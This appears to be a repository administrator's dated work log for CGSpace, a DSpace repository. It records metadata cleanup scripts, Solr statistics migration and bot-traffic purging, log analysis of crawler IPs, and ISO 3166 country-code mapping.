+
$ ./fix-metadata-values.py -i /tmp/2020-07-09-fix-90-cip-authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -t correction -m 3
+
    +
  • Apply 110 fixes and 90 deletions to sponsorships that Peter sent me a few days ago:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2020-07-07-fix-110-sponsors.csv -db dspace -u dspace -p 'fuuu' -f dc.description.sponsorship -t 'correct/action' -m 29
+$ ./delete-metadata-values.py -i /tmp/2020-07-07-delete-90-sponsors.csv -db dspace -u dspace -p 'fuuu' -f dc.description.sponsorship -m 29
+
    +
  • Start a full Discovery re-index on CGSpace:
    • +
+
$ time chrt -b 0 dspace index-discovery -b
+
+real    94m21.413s
+user    9m40.364s
+sys     2m37.246s
+
    +
  • I modified crossref-funders-lookup.py to be case insensitive and now CGSpace’s sponsors match 173 out of 534 (32.4%):
    • +
+
$ ./crossref-funders-lookup.py -i 2020-07-09-cgspace-sponsors.txt -o 2020-07-09-cgspace-sponsors-crossref.csv -d -e a.orth@cgiar.org
+$ wc -l 2020-07-09-cgspace-sponsors.txt
+534 2020-07-09-cgspace-sponsors.txt
+$ csvgrep -c matched -m true 2020-07-09-cgspace-sponsors-crossref.csv | wc -l 
+174
+

2020-07-12

+
    +
  • On 2020-07-10 Macaroni Bros emailed to ask if there are issues with CGSpace because they are getting HTTP 504 on the REST API +
      +
    • First, I looked in Munin and I see high number of DSpace sessions and threads on Friday evening around midnight, though that was much later than his email:
      • +
    +
    • +
+

DSpace sessions +Threads +PostgreSQL locks +PostgreSQL transactions

+
    +
  • CPU load and memory were not high then, but there was some load on the database and firewall… +
      +
    • Looking in the nginx logs I see a few IPs we’ve seen recently, like those 199.47.x.x IPs from Turnitin (which I need to remember to purge from Solr again because I didn’t update the spider agents on CGSpace yet) and some new one 186.112.8.167
      • +
    • Also, the Turnitin bot doesn’t re-use its Tomcat JSESSIONID, I see this from today:
      • +
    +
    • +
+
# grep 199.47.87 dspace.log.2020-07-12 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+2815
+
    +
  • So I need to add this alternative user-agent to the Tomcat Crawler Session Manager valve to force it to re-use a common bot session
    • +
  • There are around 9,000 requests from 186.112.8.167 in Colombia and has the user agent Java/1.8.0_241, but those were mostly to REST API and I don’t see any hits in Solr
    • +
  • Earlier in the day Linode had alerted that there was high outgoing bandwidth +
      +
    • I see some new bot from 134.155.96.78 made ~10,000 requests with the user agent… but it appears to already be in our DSpace user agent list via COUNTER-Robots:
      • +
    +
    • +
+
Mozilla/5.0 (compatible; heritrix/3.4.0-SNAPSHOT-2019-02-07T13:53:20Z +http://ifm.uni-mannheim.de)
+
    +
  • Generate a list of sponsors to update our controlled vocabulary:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value as "dc.description.sponsorship", count(text_value) FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=29 GROUP BY "dc.description.sponsorship" ORDER BY count DESC LIMIT 125) TO /tmp/2020-07-12-sponsors.csv;
+COPY 125
+dspace=# \q
+$ csvcut -c 1 --tabs /tmp/2020-07-12-sponsors.csv > dspace/config/controlled-vocabularies/dc-description-sponsorship.xml
+# add XML formatting
+$ dspace/config/controlled-vocabularies/dc-description-sponsorship.xml
+$ tidy -xml -utf8 -m -iq -w 0 dspace/config/controlled-vocabularies/dc-description-sponsorship.xml
+
    +
  • Deploy latest 5_x-prod branch on CGSpace (linode18), run all system updates, and reboot the server +
      +
    • After rebooting it I had to restart Tomcat 7 once to get all Solr statistics cores to come up properly
      • +
    +
    • +
+

2020-07-13

+
    +
  • I recommended to Marie–Angelique that we use ROR for CG Core V2 (#27)
    • +
  • Purge 2,700 hits from CodeObia IP addresses in CGSpace statistics… I wonder when they will figure out how to use a bot user agent
    • +
+

2020-07-14

+
    +
  • I ran the dspace cleanup -v process on CGSpace and got an error:
    • +
+
Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(189618) is still referenced from table "bundle".
+
    +
  • The solution is, as always:
    • +
+
$ psql -d dspace -U dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (189618, 188837);'
+UPDATE 1
+
+

2020-07-15

+
    +
  • All four IWMI items that I tweeted yesterday have Altmetric donuts with a score of 1 now…
    • +
  • Export CGSpace countries to check them against ISO 3166-1 and ISO 3166-3 (historic countries):
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=228) TO /tmp/2020-07-15-countries.csv;
+COPY 194
+
    +
  • I wrote a script iso3166-lookup.py to check them:
    • +
+
$ ./iso3166-1-lookup.py -i /tmp/2020-07-15-countries.csv -o /tmp/2020-07-15-countries-resolved.csv
+$ csvgrep -c matched -m false /tmp/2020-07-15-countries-resolved.csv       
+country,match type,matched
+CAPE VERDE,,false
+"KOREA, REPUBLIC",,false
+PALESTINE,,false
+"CONGO, DR",,false
+COTE D'IVOIRE,,false
+RUSSIA,,false
+SYRIA,,false
+"KOREA, DPR",,false
+SWAZILAND,,false
+MICRONESIA,,false
+TIBET,,false
+ZAIRE,,false
+COCOS ISLANDS,,false
+LAOS,,false
+IRAN,,false
+
    +
  • Check the database for DOIs that are not in the preferred “https://doi.org/" format:
    • +
+
dspace=# \COPY (SELECT text_value as "cg.identifier.doi" FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=220 AND text_value NOT LIKE 'https://doi.org/%') TO /tmp/2020-07-15-doi.csv WITH CSV HEADER;
+COPY 186
+
    +
  • Then I imported them into OpenRefine and replaced them in a new “correct” column using this GREL transform:
    • +
+
value.replace("dx.doi.org", "doi.org").replace("http://", "https://").replace("https://dx,doi,org", "https://doi.org").replace("https://doi.dx.org", "https://doi.org").replace("https://dx.doi:", "https://doi.org").replace("DOI: ", "https://doi.org/").replace("doi: ", "https://doi.org/").replace("http:/​/​dx.​doi.​org", "https://doi.org").replace("https://dx. doi.org. ", "https://doi.org").replace("https://dx.doi", "https://doi.org").replace("https://dx.doi:", "https://doi.org/").replace("hdl.handle.net", "doi.org")
+
    +
  • Then I fixed the DOIs on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2020-07-15-fix-164-DOIs.csv -db dspace -u dspace -p 'fuuu' -f cg.identifier.doi -t 'correct' -m 220
+
    +
  • I filed an issue on Debian’s iso-codes project to ask why “Swaziland” does not appear in the ISO 3166-3 list of historical country names despite it being changed to “Eswatini” in 2018.
    • +
  • Atmire responded about the Solr issue +
      +
    • They said that it seems like a DSpace issue so that it’s not their responsibility, and nobody responded to my question on the dspace-tech mailing list…
      • +
    • I said I would try to do a migration on DSpace Test with more of CGSpace’s Solr data to try and approximate how much of our data be affected
      • +
    • I also asked them about the Tomcat 8.5 issue with CUA as well as the CUA group name issue that I had asked originally in April
      • +
    +
    • +
+

2020-07-20

+
    +
  • Looking at the nginx logs on CGSpace (linode18) last night I see that the Macaroni Bros have started using a unique identifier for at least one of their harvesters:
    • +
+
217.64.192.138 - - [20/Jul/2020:01:01:39 +0200] "GET /rest/rest/bitstreams/114779/retrieve HTTP/1.0" 302 138 "-" "ILRI Livestock Website Publications importer BOT"
+
    +
  • I still see 12,000 records in Solr from this user agent, though. +
      +
    • I wonder why the DSpace bot list didn’t get those… because it has “bot” which should cause Solr to not log the hit
      • +
    +
    • +
  • I purged ~30,000 hits from Solr statistics based on the IPs above, but also for some agents like Drupal (which isn’t in the list yet) and OgScrper (which is as of 2020-03)
    • +
  • Some of my user agent patterns had been incorporated into COUNTER-Robots in 2020-07, but not all + +
    • +
  • I re-ran the check-spider-hits.sh script with the new lists and purged another 14,000 more stats hits for several years each (2020, 2019, 2018, 2017, 2016), around 70,000 total
    • +
  • I looked at the CLARISA institutions list again, since I hadn’t looked at it in over six months:
    • +
+
$ cat ~/Downloads/response_1595270924560.json | jq '.[] | {name: .name}' | grep name | awk -F: '{print $2}' | sed -e 's/"//g' -e 's/^ //' -e '1iname' | csvcut -l | sed '1s/line_number/id/' > /tmp/clarisa-institutions.csv
+
    +
  • The API still needs a key unless you query from Swagger web interface +
      +
    • They currently have 3,469 institutions…
      • +
    • Also, they still combine multiple text names into one string along with acronyms and countries: +
        +
      • Bundesministerium für wirtschaftliche Zusammen­arbeit und Entwicklung / Federal Ministry of Economic Cooperation and Development (Germany)
        • +
      • Ministerio del Ambiente / Ministry of Environment (Peru)
        • +
      • Carthage University / Université de Carthage
        • +
      • Sweet Potato Research Institute (SPRI) of Chinese Academy of Agricultural Sciences (CAAS)
        • +
      +
      • +
    • And I checked the list with my csv-metadata-quality tool and found it still has whitespace and unnecessary Unicode characters in several records:
      • +
    +
    • +
+
$ csv-metadata-quality -i /tmp/clarisa-institutions.csv -o /tmp/clarisa-institutions-cleaned.csv
+Removing excessive whitespace (name): Comitato Internazionale per lo Sviluppo dei Popoli /  International Committee for the Development of Peoples
+Removing excessive whitespace (name): Deutsche Landwirtschaftsgesellschaft /  German agriculture society
+Removing excessive whitespace (name): Institute of Arid Regions  of Medenine
+Replacing unnecessary Unicode (U+00AD): Bundesministerium für wirtschaftliche Zusammen­arbeit und Entwicklung / Federal Ministry of Economic Cooperation and Development (Germany)
+Removing unnecessary Unicode (U+200B): Agencia de Servicios a la Comercialización​ y Desarrollo de Mercados Agropecuarios
+
    +
  • I think the ROR is much better in every possible way
    • +
  • Re-enabled all the yearly Solr statistics cores on DSpace Test (linode26) because they had been disabled by Atmire when they were testing on the server +
      +
    • Run system updates on the server and reboot it
      • +
    +
    • +
+

2020-07-21

+
    +
  • I built the latest 6.x branch on DSpace Test (linode26) and I noticed a few Font Awesome icons are missing in the Atmire CUA statlets +
      +
    • One was simple to fix by adding it to our font library in fontawesome.js, but there are two more that are printing hex values instead of using HTML elements:
      • +
    +
    • +
+

Atmire CUA missing icons

+
    +
  • I had previously thought these were fixed by setting the font-family on the elements, but it doesn’t appear to be working now +
      +
    • I filed a ticket with Atmire to ask them to use the HTML elements instead, as their code already uses those elsewhere
      • +
    • I don’t want to go back to using the large webfonts with CSS because the SVG + JS method saves us ~140KiB and causes at least three fewer network requests
      • +
    +
    • +
  • I started processing the 2019 stats in a batch of 1 million on DSpace Test:
    • +
+
$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx2048m'
+$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 1000000 -i statistics-2019
+...
+        *** Statistics Records with Legacy Id ***
+
+           6,359,966    Bistream View
+           2,204,775    Item View
+             139,266    Community View
+             131,234    Collection View
+             948,529    Community Search
+             593,974    Collection Search
+           1,682,818    Unexpected Type & Full Site
+        --------------------------------------
+          12,060,562    TOTAL
+
    +
  • The statistics-2019 finished processing after about 9 hours so I started the 2018 ones:
    • +
+
$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx2048m'
+$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 1000000 -i statistics-2018
+        *** Statistics Records with Legacy Id ***
+
+           3,684,394    Bistream View
+           2,183,032    Item View
+             131,222    Community View
+              79,348    Collection View
+             345,529    Collection Search
+             322,223    Community Search
+             874,107    Unexpected Type & Full Site
+        --------------------------------------
+           7,619,855    TOTAL
+
    +
  • Moayad finally made OpenRXV use a unique user agent:
    • +
+
OpenRXV harvesting bot; https://github.com/ilri/OpenRXV
+
    +
  • I see nearly 200,000 hits in Solr from the IP address, though, so I need to make sure those are old ones from before today +
      +
    • I purged the hits for 178.62.93.141 as well as any from the old axios/0.19.2 user agent
      • +
    • I made some requests with and without the new user agent and only the ones without showed up in Solr
      • +
    +
    • +
+

2020-07-22

+
    +
  • Atmire merged my latest bot suggestions to the COUNTER-Robots project: + +
    • +
  • I will update the agent patterns on the CGSpace 5_x-prod and 6.x branches
    • +
  • Make some changes to the Bootstrap CSS and HTML configuration to improve readability and style on the CG Core v2 metadata reference guide and send a pull request to Marie (#29)
    • +
  • The solr-upgrade-statistics-6x tool keeps crashing due to memory issues when processing 2018 stats +
      +
    • I reduced the number of records per batch from 10,000 to 5,000 and increased the memory to 3072 and it still crashes…
      • +
    • I reduced the number of records per batch to 1,000 and it works, but still took like twenty minutes before it even started!
      • +
    • Eventually after processing a few million records it crashed with this error:
      • +
    +
    • +
+
Exception: Error while creating field 'p_group_id{type=uuid,properties=indexed,stored,multiValued}' from value '10'
+org.apache.solr.client.solrj.impl.HttpSolrServer$RemoteSolrException: Error while creating field 'p_group_id{type=uuid,properties=indexed,stored,multiValued}' from value '10'
+
    +
  • There were four records so I deleted them:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2018/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>id:10</query></delete>'
+
    +
  • Meeting with Moayad and Peter and Abenet to discuss the latest AReS changes
    • +
+

2020-07-23

+
    +
  • I closed all issues in the OpenRXV and AReS GitHub repositories with screenshots so that Moayad can use them for his invoice
    • +
  • The statistics-2018 core always crashes with the same error even after I deleted the “id:10” records… +
      +
    • I started the statistics-2017 core and it finished in 3:44:15
      • +
    • I started the statistics-2016 core and it finished in 2:27:08
      • +
    • I started the statistics-2015 core and it finished in 1:07:38
      • +
    • I started the statistics-2014 core and it finished in 1:45:44
      • +
    • I started the statistics-2013 core and it finished in 1:41:50
      • +
    • I started the statistics-2012 core and it finished in 1:23:36
      • +
    • I started the statistics-2011 core and it finished in 0:39:37
      • +
    • I started the statistics-2010 core and it finished in 0:01:46
      • +
    +
    • +
+

2020-07-24

+
    +
  • Looking at the statistics-2019 Solr stats and see some interesting user agents and IPs +
      +
    • For example, I see 568,000 requests from 66.109.27.x in 2019-10, all with the same exact user agent:
      • +
    +
    • +
+
Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1
+
    +
  • Also, in the same month with the same exact user agent, I see 300,000 from 192.157.89.x +
      +
    • The 66.109.27.x IPs belong to galaxyvisions.com
      • +
    • The 192.157.89.x IPs belong to cologuard.com
      • +
    • All these hosts were reported in late 2019 on abuseipdb.com
      • +
    +
    • +
  • Then I see another one 163.172.71.23 that made 215,000 requests in 2019-09 and 2019-08 +
      +
    • It belongs to poneytelecom.eu and is also in abuseipdb.com for PHP injection and directory traversal
      • +
    • It uses this user agent:
      • +
    +
    • +
+
Mozilla/5.0 ((Windows; U; Windows NT 6.1; fr; rv:1.9.2) Gecko/20100115 Firefox/3.6)
+
    +
  • In statistics-2018 I see more weird IPs +
      +
    • 54.214.112.202 made 839,000 requests with no user agent… +
        +
      • It is on Amazon Web Services (AWS) and made 100% statistics_type:view so I guess it was harvesting via the REST API
        • +
      +
      • +
    • A few IPs owned by perfectip.net made 400,000 requests in 2018-01 +
        +
      • They are 2607:fa98:40:9:26b6:fdff:feff:195d and 2607:fa98:40:9:26b6:fdff:feff:1888 and 2607:fa98:40:9:26b6:fdff:feff:1c96 and 70.36.107.49
        • +
      • All the requests used this user agent:
        • +
      +
      • +
    +
    • +
+
Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36
+
    +
  • Then there is 213.139.53.62 in 2018, which is on Orange Telecom Jordan, so it’s definitely CodeObia / ICARDA and I will purge them
    • +
  • Jesus, and then there are 100,000 from the ILRI harvestor on Linode on 2a01:7e00::f03c:91ff:fe0a:d645
    • +
  • Jesus fuck there is 46.101.86.248 making 15,000 requests per month in 2018 with no user agent…
    • +
  • Jesus fuck there is 84.38.130.177 in Latvia that was making 75,000 requests in 2018-11 and 2018-10
    • +
  • Jesus fuck there is 104.198.9.108 on Google Cloud that was making 30,000 requests with no user agent
    • +
  • I will purge the hits from all the following IPs:
    • +
+
192.157.89.4
+192.157.89.5
+192.157.89.6
+192.157.89.7
+66.109.27.142
+66.109.27.139
+66.109.27.138
+66.109.27.140
+66.109.27.141
+2607:fa98:40:9:26b6:fdff:feff:1888
+2607:fa98:40:9:26b6:fdff:feff:195d
+2607:fa98:40:9:26b6:fdff:feff:1c96
+213.139.53.62
+2a01:7e00::f03c:91ff:fe0a:d645
+46.101.86.248
+54.214.112.202
+84.38.130.177
+104.198.9.108
+70.36.107.49
+
    +
  • In total these accounted for the following amount of requests in each year: +
      +
    • 2020: 1436
      • +
    • 2019: 960274
      • +
    • 2018: 1588149
      • +
    +
    • +
  • I noticed a few other user agents that should be purged too:
    • +
+
^Java\/\d{1,2}.\d
+FlipboardProxy\/\d
+API scraper
+RebelMouse\/\d
+Iframely\/\d
+Python\/\d
+Ruby
+NING\/\d
+ubermetrics-technologies\.com
+Jetty\/\d
+scalaj-http\/\d
+mailto\:team@impactstory\.org
+
    +
  • I purged them from the stats too: +
      +
    • 2020: 19553
      • +
    • 2019: 29745
      • +
    • 2018: 18083
      • +
    • 2017: 19399
      • +
    • 2016: 16283
      • +
    • 2015: 16659
      • +
    • 2014: 713
      • +
    +
    • +
+

2020-07-26

+
    +
  • I continued with the Solr ID to UUID migrations (solr-upgrade-statistics-6x) from last week and updated my notes for each core above +
      +
    • After all cores finished migrating I optimized them to delete old documents
      • +
    +
    • +
  • Export some of the CGSpace Solr stats minus the Atmire CUA schema additions for Salem to play with:
    • +
+
$ chrt -b 0 ./run.sh -s http://localhost:8081/solr/statistics-2019 -a export -o /tmp/statistics-2019-1.json -f 'time:[2019-01-01T00\:00\:00Z TO 2019-06-30T23\:59\:59Z]' -k uid -S author_mtdt,author_mtdt_search,iso_mtdt_search,iso_mtdt,subject_mtdt,subject_mtdt_search,containerCollection,containerCommunity,containerItem,countryCode_ngram,countryCode_search,cua_version,dateYear,dateYearMonth,geoipcountrycode,ip_ngram,ip_search,isArchived,isInternal,isWithdrawn,containerBitstream,file_id,referrer_ngram,referrer_search,userAgent_ngram,userAgent_search,version_id,complete_query,complete_query_search,filterquery,ngram_query_search,ngram_simplequery_search,simple_query,simple_query_search,range,rangeDescription,rangeDescription_ngram,rangeDescription_search,range_ngram,range_search,actingGroupId,actorMemberGroupId,bitstreamCount,solr_update_time_stamp,bitstreamId
+
    +
  • +

    Run system updates on DSpace Test (linode26) and reboot it

    +
    • +
  • +

    I looked into the umigrated Solr records more and they are overwhelmingly type: 5 (which means “Site” according to the DSpace constants):

    +
      +
    • statistics +
        +
      • id: -1-unmigrated +
          +
        • type 5: 167316
          • +
        +
        • +
      • id: 0-unmigrated +
          +
        • type 5: 32581
          • +
        +
        • +
      • id: -1 +
          +
        • type 5: 10198
          • +
        +
        • +
      +
      • +
    • statistics-2019 +
        +
      • id: -1 +
          +
        • type 5: 2690500
          • +
        +
        • +
      • id: -1-unmigrated +
          +
        • type 5: 1348202
          • +
        +
        • +
      • id: 0-unmigrated +
          +
        • type 5: 141576
          • +
        +
        • +
      +
      • +
    • statistics-2018 +
        +
      • id: -1 +
          +
        • type 5: 365466
          • +
        +
        • +
      • id: -1-unmigrated +
          +
        • type 5: 254680
          • +
        +
        • +
      • id: 0-unmigrated +
          +
        • type 5: 204854
          • +
        +
        • +
      • 145870-unmigrated +
          +
        • type 0: 83235
          • +
        +
        • +
      +
      • +
    • statistics-2017
      • +
    • id: -1 +
        +
      • type 5: 808346
        • +
      +
      • +
    • id: -1-unmigrated +
        +
      • type 5: 598022
        • +
      +
      • +
    • id: 0-unmigrated +
        +
      • type 5: 254014
        • +
      +
      • +
    • 145870-unmigrated +
        +
      • type 0: 28168
        • +
      • bundleName THUMBNAIL: 28168
        • +
      +
      • +
    +
    • +
  • +

    There is another one appears in 2018 and 2017 at least of type 0, which would be download

    +
      +
    • In that case the id is of a bitstream that no longer exists…?
      • +
    +
    • +
  • +

    I started processing Solr stats with the Atmire tool now:

    +
    • +
+
$ dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -c statistics -f -t 12
+
    +
  • This one failed after a few hours:
    • +
+
Record uid: c4b5974a-025d-4adc-b6c3-c8846048b62b couldn't be processed
+com.atmire.statistics.util.update.atomic.ProcessingException: something went wrong while processing record uid: c4b5974a-025d-4adc-b6c3-c8846048b62b, an error occured in the com.atmire.statistics.util.update.atomic.processor.ContainerOwnerDBProcessor
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.applyProcessors(SourceFile:304)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.processRecords(SourceFile:176)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.performRun(SourceFile:161)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.update(SourceFile:128)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI.main(SourceFile:78)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+Caused by: java.lang.NullPointerException
+
+Run 2 — 100% — 2,237,670/2,239,523 docs — 12s — 2h 25m 41s
+Run 2 took 2h 25m 41s
+179,310 docs failed to process
+If run the update again with the resume option (-r) they will be reattempted
+
    +
  • I started the same script for the statistics-2019 core (12 million records…)
    • +
  • Update an ILRI author’s name on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2020-07-27-fix-ILRI-author.csv -db dspace -u cgspace -p 'fuuu' -f dc.contributor.author -t 'correct' -m 3
+Fixed 13 occurences of: Muloi, D.
+Fixed 4 occurences of: Muloi, D.M.
+

2020-07-28

+
    +
  • I started analyzing the situation with the cases I’ve seen where a Solr record fails to be migrated: +
      +
    • id: 0-unmigrated are mostly (all?) type: 5 aka site view
      • +
    • id: -1-unmigrated are mostly (all?) type: 5 aka site view
      • +
    • id: -1 are mostly (all?) type: 5 aka site view
      • +
    • id: 59184-unmigrated where “59184” is the id of an item or bitstream that no longer exists
      • +
    +
    • +
  • Why doesn’t Atmire’s code ignore any id with “-unmigrated”?
    • +
  • I sent feedback to Atmire since they had responded to my previous question yesterday +
      +
    • They said that the DSpace 6 version of CUA does not work with Tomcat 8.5…
      • +
    +
    • +
  • I spent a few hours trying to write a Jython-based curation task to update ISO 3166-1 Alpha2 country codes based on each item’s ISO 3166-1 country +
      +
    • Peter doesn’t want to use the ISO 3166-1 list because he objects to a few names, so I thought we might be able to use country codes or numeric codes and update the names with a curation task
      • +
    • The work is very rough but kinda works: mytask.py
      • +
    • What is nice is that the dso.update() method updates the data the “DSpace way” so we don’t need to re-index Solr
      • +
    • I had a clever idea to “vendor” the pycountry code using pip install pycountry -t, but pycountry dropped support for Python 2 in 2019 so we can only use an outdated version
      • +
    • In the end it’s really limiting to this particular task in Jython because we are stuck with Python 2, we can’t use virtual environments, and there is a lot of code we’d need to write to be able to handle the ISO 3166 country lists
      • +
    • Python 2 is no longer supported by the Python community anyways so it’s probably better to figure out how to do this in Java
      • +
    +
    • +
+

2020-07-29

+
    +
  • The Atmire stats tool (com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI) created 150GB of log files due to errors and the disk got full on DSpace Test (linode26) +
      +
    • This morning I had noticed that the run I started last night said that 54,000,000 (54 million!) records failed to process, but the core only had 6 million or so documents to process…!
      • +
    • I removed the large log files and optimized the Solr core
      • +
    +
    • +
+

2020-07-30

+
    +
  • Looking into ISO 3166-1 from the iso-codes package +
      +
    • I see that all current 249 countries have names, 173 have official names, and 6 have common names:
      • +
    +
    • +
+
# grep -c numeric /usr/share/iso-codes/json/iso_3166-1.json
+249
+# grep -c -E '"name":' /usr/share/iso-codes/json/iso_3166-1.json
+249
+# grep -c -E '"official_name":' /usr/share/iso-codes/json/iso_3166-1.json
+173
+# grep -c -E '"common_name":' /usr/share/iso-codes/json/iso_3166-1.json
+6
+
    +
  • Wow, the CC-BY-NC-ND-3.0-IGO license that I had requested in 2019-02 was finally merged into SPDX…
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2020-08/index.html b/docs/2020-08/index.html new file mode 100644 index 000000000..6d29a47ec --- /dev/null +++ b/docs/2020-08/index.html @@ -0,0 +1,852 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + August, 2020 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

August, 2020

+

+ + in + Notes + + +

+
+

2020-08-02

+
    +
  • I spent a few days working on a Java-based curation task to tag items with ISO 3166-1 Alpha2 country codes based on their cg.coverage.country text values +
      +
    • It looks up the names in ISO 3166-1 first, and then in our CGSpace countries mapping (which has five or so of Peter’s preferred “display” country names)
      • +
    • It implements a “force” mode too that will clear existing country codes and re-tag everything
      • +
    • It is class based so I can easily add support for other vocabularies, and the technique could even be used for organizations with mappings to ROR and Clarisa…
      • +
    +
    • +
+ +

2020-08-03

+
    +
  • Atmire responded to the ticket about the ongoing upgrade issues +
      +
    • They pushed an RC2 version of the CUA module that fixes the FontAwesome issue so that they now use classes instead of Unicode hex characters so our JS + SVG works!
      • +
    • They also said they have never experienced the type: 5 site statistics issue, so I need to try to purge those and continue with the stats processing
      • +
    +
    • +
  • I purged all unmigrated stats in a few cores and then restarted processing:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>id:/.*unmigrated.*/</query></delete>'
+$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx2048m'
+$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics
+
    +
  • Andrea from Macaroni Bros emailed me a few days ago to say he’s having issues with the CGSpace REST API + +
    • +
+

2020-08-04

+ +
$ http 'http://localhost:8080/rest/collections/1445' | json_pp | grep numberItems
+   "numberItems" : 63,
+$ http 'http://localhost:8080/rest/collections/1445/items' jq '. | length'
+61
+
    +
  • Also on DSpace Test (which is running DSpace 6!), though the issue is slightly different there:
    • +
+
$ http 'https://dspacetest.cgiar.org/rest/collections/5471c3aa-202e-42f0-96c2-497a18e3b708' | json_pp | grep numberItems
+   "numberItems" : 61,
+$ http 'https://dspacetest.cgiar.org/rest/collections/5471c3aa-202e-42f0-96c2-497a18e3b708/items' | jq '. | length'
+59
+
    +
  • Ah! I exported that collection’s metadata and checked it in OpenRefine, where I noticed that two items are mapped twice +
      +
    • I dealt with this problem in 2017-01 and the solution is to check the collection2item table:
      • +
    +
    • +
+
dspace=# SELECT * FROM collection2item WHERE item_id = '107687';
+   id   | collection_id | item_id
+--------+---------------+---------
+ 133698 |           966 |  107687
+ 134685 |          1445 |  107687
+ 134686 |          1445 |  107687
+(3 rows)
+
    +
  • So for each id you can delete one duplicate mapping:
    • +
+
dspace=# DELETE FROM collection2item WHERE id='134686';
+dspace=# DELETE FROM collection2item WHERE id='128819';
+
    +
  • Update countries on CGSpace to be closer to ISO 3166-1 with some minor differences based on Peter’s preferred display names
    • +
+
$ cat 2020-08-04-PB-new-countries.csv
+cg.coverage.country,correct
+CAPE VERDE,CABO VERDE
+COCOS ISLANDS,COCOS (KEELING) ISLANDS
+"CONGO, DR","CONGO, DEMOCRATIC REPUBLIC OF"
+COTE D'IVOIRE,CÔTE D'IVOIRE
+"KOREA, REPUBLIC","KOREA, REPUBLIC OF"
+PALESTINE,"PALESTINE, STATE OF"
+$ ./fix-metadata-values.py -i 2020-08-04-PB-new-countries.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.country -t 'correct' -m 228
+
    +
  • I had to restart Tomcat 7 three times before all the Solr statistics cores came up properly +
      +
    • I started a full Discovery re-indexing
      • +
    +
    • +
+

2020-08-05

+
    +
  • Port my dspace-curation-tasks to DSpace 6 and tag version 6.0-SNAPSHOT
    • +
  • I downloaded the UN M.49 CSV file to start working on updating the CGSpace regions +
      +
    • First issue is they don’t version the file so you have no idea when it was released
      • +
    • Second issue is that three rows have errors due to not using quotes around “China, Macao Special Administrative Region”
      • +
    +
    • +
  • Bizu said she was having problems approving tasks on CGSpace +
      +
    • I looked at the PostgreSQL locks and they have skyrocketed since yesterday:
      • +
    +
    • +
+

PostgreSQL locks day

+

PostgreSQL query length day

+
    +
  • Seems that something happened yesterday afternoon at around 5PM… +
      +
    • For now I will just run all updates on the server and reboot it, as I have no idea what causes this issue
      • +
    • I had to restart Tomcat 7 three times after the server came back up before all Solr statistics cores came up properly
      • +
    +
    • +
  • I checked the nginx logs around 5PM yesterday to see who was accessing the server:
    • +
+
# cat /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E '04/Aug/2020:(17|18)' | goaccess --log-format=COMBINED -
+
    +
  • I see the Macaroni Bros are using their new user agent for harvesting: RTB website BOT +
      +
    • But that pattern doesn’t match in the nginx bot list or Tomcat’s crawler session manager valve because we’re only checking for [Bb]ot!
      • +
    • So they have created thousands of Tomcat sessions:
      • +
    +
    • +
+
$ cat dspace.log.2020-08-04 | grep -E "(63.32.242.35|64.62.202.71)" | grep -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+5693
+
    +
  • DSpace itself uses a case-sensitive regex for user agents so there are no hits from those IPs in Solr, but I need to tweak the other regexes so they don’t misuse the resources +
      +
    • Perhaps [Bb][Oo][Tt]…
      • +
    +
    • +
  • I see another IP 104.198.96.245, which is also using the “RTB website BOT” but there are 70,000 hits in Solr from earlier this year before they started using the user agent +
      +
    • I purged all the hits from Solr, including a few thousand from 64.62.202.71
      • +
    +
